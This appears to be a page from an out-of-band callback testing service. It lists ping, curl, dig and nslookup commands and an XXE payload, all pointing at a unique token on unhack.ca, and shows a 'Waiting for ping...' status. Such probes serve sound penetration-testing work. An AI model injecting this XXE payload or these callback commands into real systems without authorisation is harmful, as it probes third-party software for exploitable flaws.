$ ping -c1 -p 00c48ae512de227fa84d34b42abc3800 unhack.ca
 
$ curl http://unhack.ca/p/c48ae512de227fa84d34b42abc38
 
$ dig c48ae512de227fa84d34b42abc38 @unhack.ca
 
$ dig c48ae512de227fa84d34b42abc38.ns.unhack.ca
 
C:\> nslookup c48ae512de227fa84d34b42abc38 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/c48ae512de227fa84d34b42abc38">]>
    <foo>&xxe;</foo>
Waiting for ping...